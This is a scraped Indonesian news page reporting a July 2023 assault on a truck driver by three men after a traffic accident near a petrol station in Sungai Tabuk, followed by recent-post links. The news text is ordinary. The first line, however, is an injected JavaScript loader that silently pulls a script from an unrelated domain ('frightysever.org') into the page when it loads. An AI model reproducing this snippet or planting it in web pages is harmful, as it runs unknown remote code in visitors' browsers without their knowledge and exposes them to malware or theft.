(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Berawal dari Laka Lantas, Begini Kronologis Pengeroyokan di Depan SPBU Sungai Tabuk


KANALKALIMANTAN.COM, MARTAPURA – Pengeroyokan terhadap seorang sopir truk di depan SPBU jalan Gubernur Syarkawi, Kecamatan Sungai Tabuk, Kabupaten Banjar berawal dari adanya kecelakaan lalu lintas.

Kejadian ini terjadi pada Rabu (19/7/2023) sekitar pukul 17.30 Wita dan dibenarkan oleh Kapolsek Sungai Tabuk Iptu Andi Pratikno melalui Kasi Humas Polres Banjar AKP H Suwarji, Kamis (20/7/2023) pagi.

“Benar bahwa dari piket Polsek Sungai Tabuk telah menerima laporan mengenai tindak pidana pengeroyokan yang dialami pelapor atas nama AS (51),” ujar Kapolsek Sungai Tabuk melalui Kasi Humas Polres Banjar AKP H Suwarji.

AKP Suwarji menjelaskan kronologi kejadian berawal saat pelapor AS (51), seorang sopir asal Kecamatan Karang Intan, Kabupaten Banjar, mengemudikan truk kemudian di perjalanan terjadi insiden kecelakaan lalu lintas.

Baca juga: Viral! Tiga Lelaki Pukuli Sopir Truk di Depan SPBU Sungai Tabuk

“Yang mana dalam kecelakaan itu mobil Ayla berwarna kuning dengan plat DA 1251 WE tertabrak truk pelapor,” sebutnya.

Mengetahui kejadian itu lantas pelapor berhenti dan turun dari truk untuk mendatangi mobil berwarna kuning tersebut dengan maksud menyelesaikan masalah laka lantas tersebut.

Namun, tak disangka tiga orang lelaki yang berada di dalam mobil Ayla tersebut turun penuh emosi karena tidak terima mobilnya kena tabrak truk dump pelapor.

Tiga lelaki yang tersulut emosi itu kemudian langsung melakukan pengeroyokan terhadap AS.

Baca juga: MA Batalkan Vonis Bebas Korupsi Alkes RSUD Ulin Banjarmasin, Terdakwa Dibawa ke Lapas Teluk Dalam  

“Salah satu dari mereka langsung merangkul pelapor dari belakang dan dua orang lainnya memukuli pelapor di beberapa bagian tubuh pelapor,” jelasnya.

Tak hanya sampai di situ, salah satu di antara pengeroyok itu juga sempat memukulkan sepotong besi ke bagian kepala pelapor.

“Pelapor mengalami beberapa luka robek pada bagian kepala dan melaporkan kejadian tersebut ke Polsek Sungai Tabuk untuk ditindaklanjuti secara hukum,” sambung AKP H Suwarji.

Setelah insiden pengroyokan tersebut pelapor kemudian dibawa ke Puskesmas Sungai Tabuk untuk ditangani pihak medis. Adapun para terlapor atas kejadian ini masih diselidiki pihak berwajib.

Baca juga: Buka Pariwisata dan Ekonomi Daerah, Pelita Air Terbang ke Pontianak

“Sampai saat ini petugas dari Polsek Sungai Tabuk dan Polres Banjar masih melakukan penyelidikan terhadap para pelaku,” pungkasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

23 menit ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

30 menit ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

3 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

5 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

7 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

8 jam ago

This website uses cookies.